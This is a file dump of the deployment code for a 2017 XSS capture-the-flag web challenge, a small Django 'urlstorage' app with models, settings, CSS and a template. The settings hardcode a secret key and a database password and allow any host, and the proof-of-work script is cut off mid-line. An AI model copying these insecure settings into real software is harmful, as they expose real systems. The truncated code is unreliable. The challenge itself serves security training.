https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/migrations/__init__.py
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/models.py:
--------------------------------------------------------------------------------
1 | from django.db import models
2 | from django.contrib.auth.models import User
3 | from django.dispatch import receiver
4 | from django.db.models.signals import post_save
5 | from django.core import validators
6 | from django import forms
7 | from captcha.fields import CaptchaField
8 |
9 |
10 | class UserProfile(models.Model):
11 | user = models.OneToOneField(User, related_name='profile', on_delete=models.CASCADE)
12 | token = models.TextField()
13 | url = models.TextField(default='https://shiamotivate.me')
14 | created_at = models.DateTimeField(auto_now_add=True)
15 |
16 | @receiver(post_save, sender=User)
17 | def create_user_profile(sender, instance, created, **kwargs):
18 | if created:
19 | UserProfile.objects.create(user=instance)
20 |
21 | @receiver(post_save, sender=User)
22 | def save_user_profile(sender, instance, **kwargs):
23 | instance.profile.save()
24 |
25 | class Feedback(models.Model):
26 | url = models.TextField()
27 | visited = models.BooleanField(default=False)
28 | duration = models.IntegerField(default=5)
29 | created_at = models.DateTimeField(auto_now_add=True)
30 | from captcha.fields import CaptchaField
31 |
32 | class CaptchaTestForm(forms.Form):
33 | captcha = CaptchaField()
34 |
35 |
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/settings.py:
--------------------------------------------------------------------------------
1 | """
2 | Django settings for urlstorage project.
3 |
4 | Generated by 'django-admin startproject' using Django 1.11.2.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/1.11/topics/settings/
8 |
9 | For the full list of settings and their values, see
10 | https://docs.djangoproject.com/en/1.11/ref/settings/
11 | """
12 |
13 | import os
14 |
15 | # Build paths inside the project like this: os.path.join(BASE_DIR, ...)
16 | BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
17 |
18 |
19 | # Quick-start development settings - unsuitable for production
20 | # See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/
21 |
22 | # SECURITY WARNING: keep the secret key used in production secret!
23 | SECRET_KEY = 'gng1509x%20xa&hvf@dg=g&)6u&2e*vnwqgo-1f%_u3r#)0u#4'
24 |
25 | # SECURITY WARNING: don't run with debug turned on in production!
26 | DEBUG = False
27 |
28 | ALLOWED_HOSTS = ['*']
29 |
30 |
31 | # Application definition
32 |
33 | INSTALLED_APPS = [
34 | 'django.contrib.admin',
35 | 'django.contrib.auth',
36 | 'django.contrib.contenttypes',
37 | 'django.contrib.sessions',
38 | 'django.contrib.messages',
39 | 'django.contrib.staticfiles',
40 | 'urlstorage',
41 | 'captcha',
42 | 'gunicorn',
43 | ]
44 |
45 | MIDDLEWARE = [
46 | 'django.middleware.security.SecurityMiddleware',
47 | 'django.contrib.sessions.middleware.SessionMiddleware',
48 | 'django.middleware.common.CommonMiddleware',
49 | 'django.middleware.csrf.CsrfViewMiddleware',
50 | 'django.contrib.auth.middleware.AuthenticationMiddleware',
51 | 'django.contrib.messages.middleware.MessageMiddleware',
52 | 'django.middleware.clickjacking.XFrameOptionsMiddleware',
53 | 'urlstorage.middleware.SecHeadersMiddleware',
54 | ]
55 |
56 | ROOT_URLCONF = 'urlstorage.urls'
57 |
58 | TEMPLATES = [
59 | {
60 | 'BACKEND': 'django.template.backends.django.DjangoTemplates',
61 | 'DIRS': [],
62 | 'APP_DIRS': True,
63 | 'OPTIONS': {
64 | 'context_processors': [
65 | 'django.template.context_processors.debug',
66 | 'django.template.context_processors.request',
67 | 'django.contrib.auth.context_processors.auth',
68 | 'django.contrib.messages.context_processors.messages',
69 | ],
70 | },
71 | },
72 | ]
73 |
74 | WSGI_APPLICATION = 'urlstorage.wsgi.application'
75 | CAPTCHA_CHALLENGE_FUNCT = 'captcha.helpers.math_challenge'
76 |
77 | # Database
78 | # https://docs.djangoproject.com/en/1.11/ref/settings/#databases
79 |
80 | print("Using MySQL backend")
81 | DATABASES = {
82 | 'default': {
83 | 'ENGINE': 'django.db.backends.mysql',
84 | 'NAME': 'urlstorage',
85 | 'USER': 'django',
86 | 'PASSWORD': 'shiaisthebest',
87 | 'HOST': 'localhost',
88 | 'PORT': '',
89 | }
90 | }
91 |
92 |
93 |
94 | # Password validation
95 | # https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators
96 |
97 | AUTH_PASSWORD_VALIDATORS = [
98 | {
99 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
100 | },
101 | {
102 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
103 | },
104 | {
105 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
106 | },
107 | {
108 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
109 | },
110 | ]
111 |
112 |
113 | # Internationalization
114 | # https://docs.djangoproject.com/en/1.11/topics/i18n/
115 |
116 | LANGUAGE_CODE = 'en-us'
117 |
118 | TIME_ZONE = 'UTC'
119 |
120 | USE_I18N = True
121 |
122 | USE_L10N = True
123 |
124 | USE_TZ = True
125 |
126 | LOGIN_REDIRECT_URL = 'index'
127 | LOGIN_URL = 'login'
128 | # Static files (CSS, JavaScript, Images)
129 | # https://docs.djangoproject.com/en/1.11/howto/static-files/
130 |
131 | STATIC_URL = '/static/'
132 |
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/static/css/milligram.min.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Milligram v1.3.0
3 | * https://milligram.github.io
4 | *
5 | * Copyright (c) 2017 CJ Patoilo
6 | * Licensed under the MIT license
7 | */
8 |
9 | *,*:after,*:before{box-sizing:inherit}html{box-sizing:border-box;font-size:62.5%}body{color:#606c76;font-family:'Roboto', 'Helvetica Neue', 'Helvetica', 'Arial', sans-serif;font-size:1.6em;font-weight:300;letter-spacing:.01em;line-height:1.6}blockquote{border-left:0.3rem solid #d1d1d1;margin-left:0;margin-right:0;padding:1rem 1.5rem}blockquote *:last-child{margin-bottom:0}.button,button,input[type='button'],input[type='reset'],input[type='submit']{background-color:#9b4dca;border:0.1rem solid #9b4dca;border-radius:.4rem;color:#fff;cursor:pointer;display:inline-block;font-size:1.1rem;font-weight:700;height:3.8rem;letter-spacing:.1rem;line-height:3.8rem;padding:0 3.0rem;text-align:center;text-decoration:none;text-transform:uppercase;white-space:nowrap}.button:focus,.button:hover,button:focus,button:hover,input[type='button']:focus,input[type='button']:hover,input[type='reset']:focus,input[type='reset']:hover,input[type='submit']:focus,input[type='submit']:hover{background-color:#606c76;border-color:#606c76;color:#fff;outline:0}.button[disabled],button[disabled],input[type='button'][disabled],input[type='reset'][disabled],input[type='submit'][disabled]{cursor:default;opacity:.5}.button[disabled]:focus,.button[disabled]:hover,button[disabled]:focus,button[disabled]:hover,input[type='button'][disabled]:focus,input[type='button'][disabled]:hover,input[type='reset'][disabled]:focus,input[type='reset'][disabled]:hover,input[type='submit'][disabled]:focus,input[type='submit'][disabled]:hover{background-color:#9b4dca;border-color:#9b4dca}.button.button-outline,button.button-outline,input[type='button'].button-outline,input[type='reset'].button-outline,input[type='submit'].button-outline{background-color:transparent;color:#9b4dca}.button.button-outline:focus,.button.button-outline:hover,button.button-outline:focus,button.button-outline:hover,input[type='button'].button-outline:focus,input[type='button'].button-outline:hover,input[type='reset'].button-outline:focus,input[type='reset'].button-outline:hover,input[type='submit'].button-outline:focus,input[type='submit'].button-outline:hover{background-color:transparent;border-color:#606c76;color:#606c76}.button.button-outline[disabled]:focus,.button.button-outline[disabled]:hover,button.button-outline[disabled]:focus,button.button-outline[disabled]:hover,input[type='button'].button-outline[disabled]:focus,input[type='button'].button-outline[disabled]:hover,input[type='reset'].button-outline[disabled]:focus,input[type='reset'].button-outline[disabled]:hover,input[type='submit'].button-outline[disabled]:focus,input[type='submit'].button-outline[disabled]:hover{border-color:inherit;color:#9b4dca}.button.button-clear,button.button-clear,input[type='button'].button-clear,input[type='reset'].button-clear,input[type='submit'].button-clear{background-color:transparent;border-color:transparent;color:#9b4dca}.button.button-clear:focus,.button.button-clear:hover,button.button-clear:focus,button.button-clear:hover,input[type='button'].button-clear:focus,input[type='button'].button-clear:hover,input[type='reset'].button-clear:focus,input[type='reset'].button-clear:hover,input[type='submit'].button-clear:focus,input[type='submit'].button-clear:hover{background-color:transparent;border-color:transparent;color:#606c76}.button.button-clear[disabled]:focus,.button.button-clear[disabled]:hover,button.button-clear[disabled]:focus,button.button-clear[disabled]:hover,input[type='button'].button-clear[disabled]:focus,input[type='button'].button-clear[disabled]:hover,input[type='reset'].button-clear[disabled]:focus,input[type='reset'].button-clear[disabled]:hover,input[type='submit'].button-clear[disabled]:focus,input[type='submit'].button-clear[disabled]:hover{color:#9b4dca}code{background:#f4f5f6;border-radius:.4rem;font-size:86%;margin:0 .2rem;padding:.2rem .5rem;white-space:nowrap}pre{background:#f4f5f6;border-left:0.3rem solid #9b4dca;overflow-y:hidden}pre>code{border-radius:0;display:block;padding:1rem 1.5rem;white-space:pre}hr{border:0;border-top:0.1rem solid #f4f5f6;margin:3.0rem 0}input[type='email'],input[type='number'],input[type='password'],input[type='search'],input[type='tel'],input[type='text'],input[type='url'],textarea,select{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent;border:0.1rem solid #d1d1d1;border-radius:.4rem;box-shadow:none;box-sizing:inherit;height:3.8rem;padding:.6rem 1.0rem;width:100%}input[type='email']:focus,input[type='number']:focus,input[type='password']:focus,input[type='search']:focus,input[type='tel']:focus,input[type='text']:focus,input[type='url']:focus,textarea:focus,select:focus{border-color:#9b4dca;outline:0}select{background:url('data:image/svg+xml;utf8,') center right no-repeat;padding-right:3.0rem}select:focus{background-image:url('data:image/svg+xml;utf8,')}textarea{min-height:6.5rem}label,legend{display:block;font-size:1.6rem;font-weight:700;margin-bottom:.5rem}fieldset{border-width:0;padding:0}input[type='checkbox'],input[type='radio']{display:inline}.label-inline{display:inline-block;font-weight:normal;margin-left:.5rem}.container{margin:0 auto;max-width:112.0rem;padding:0 2.0rem;position:relative;width:100%}.row{display:flex;flex-direction:column;padding:0;width:100%}.row.row-no-padding{padding:0}.row.row-no-padding>.column{padding:0}.row.row-wrap{flex-wrap:wrap}.row.row-top{align-items:flex-start}.row.row-bottom{align-items:flex-end}.row.row-center{align-items:center}.row.row-stretch{align-items:stretch}.row.row-baseline{align-items:baseline}.row .column{display:block;flex:1 1 auto;margin-left:0;max-width:100%;width:100%}.row .column.column-offset-10{margin-left:10%}.row .column.column-offset-20{margin-left:20%}.row .column.column-offset-25{margin-left:25%}.row .column.column-offset-33,.row .column.column-offset-34{margin-left:33.3333%}.row .column.column-offset-50{margin-left:50%}.row .column.column-offset-66,.row .column.column-offset-67{margin-left:66.6666%}.row .column.column-offset-75{margin-left:75%}.row .column.column-offset-80{margin-left:80%}.row .column.column-offset-90{margin-left:90%}.row .column.column-10{flex:0 0 10%;max-width:10%}.row .column.column-20{flex:0 0 20%;max-width:20%}.row .column.column-25{flex:0 0 25%;max-width:25%}.row .column.column-33,.row .column.column-34{flex:0 0 33.3333%;max-width:33.3333%}.row .column.column-40{flex:0 0 40%;max-width:40%}.row .column.column-50{flex:0 0 50%;max-width:50%}.row .column.column-60{flex:0 0 60%;max-width:60%}.row .column.column-66,.row .column.column-67{flex:0 0 66.6666%;max-width:66.6666%}.row .column.column-75{flex:0 0 75%;max-width:75%}.row .column.column-80{flex:0 0 80%;max-width:80%}.row .column.column-90{flex:0 0 90%;max-width:90%}.row .column .column-top{align-self:flex-start}.row .column .column-bottom{align-self:flex-end}.row .column .column-center{-ms-grid-row-align:center;align-self:center}@media (min-width: 40rem){.row{flex-direction:row;margin-left:-1.0rem;width:calc(100% + 2.0rem)}.row .column{margin-bottom:inherit;padding:0 1.0rem}}a{color:#9b4dca;text-decoration:none}a:focus,a:hover{color:#606c76}dl,ol,ul{list-style:none;margin-top:0;padding-left:0}dl dl,dl ol,dl ul,ol dl,ol ol,ol ul,ul dl,ul ol,ul ul{font-size:90%;margin:1.5rem 0 1.5rem 3.0rem}ol{list-style:decimal inside}ul{list-style:circle inside}.button,button,dd,dt,li{margin-bottom:1.0rem}fieldset,input,select,textarea{margin-bottom:1.5rem}blockquote,dl,figure,form,ol,p,pre,table,ul{margin-bottom:2.5rem}table{border-spacing:0;width:100%}td,th{border-bottom:0.1rem solid #e1e1e1;padding:1.2rem 1.5rem;text-align:left}td:first-child,th:first-child{padding-left:0}td:last-child,th:last-child{padding-right:0}b,strong{font-weight:bold}p{margin-top:0}h1,h2,h3,h4,h5,h6{font-weight:300;letter-spacing:-.1rem;margin-bottom:2.0rem;margin-top:0}h1{font-size:4.6rem;line-height:1.2}h2{font-size:3.6rem;line-height:1.25}h3{font-size:2.8rem;line-height:1.3}h4{font-size:2.2rem;letter-spacing:-.08rem;line-height:1.35}h5{font-size:1.8rem;letter-spacing:-.05rem;line-height:1.5}h6{font-size:1.6rem;letter-spacing:0;line-height:1.4}img{max-width:100%}.clearfix:after{clear:both;content:' ';display:table}.float-left{float:left}.float-right{float:right}
10 |
11 | /*# sourceMappingURL=milligram.min.css.map */
--------------------------------------------------------------------------------
/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/static/pow.py:
--------------------------------------------------------------------------------
1 | import sys, random, string, struct
2 | from hashlib import sha256
3 |
4 | PROOF_OF_WORK_HARDNESS = 2**24
5 |
6 | def proof_of_work_okay(task, solution):
7 | h = sha256(task.encode('ASCII') + struct.pack('
2 |
3 |
4 |
5 | {% block title %}{% endblock %}
6 |
7 |
8 |
9 |
10 | {% if messages %}
11 |
12 | {% for message in messages %}
13 | {{message.tags}} {{ message }}
14 | {% endfor %}
15 |
16 |
17 | {% endif %}
18 | {% block content %}
19 | {% endblock %}
20 |
21 |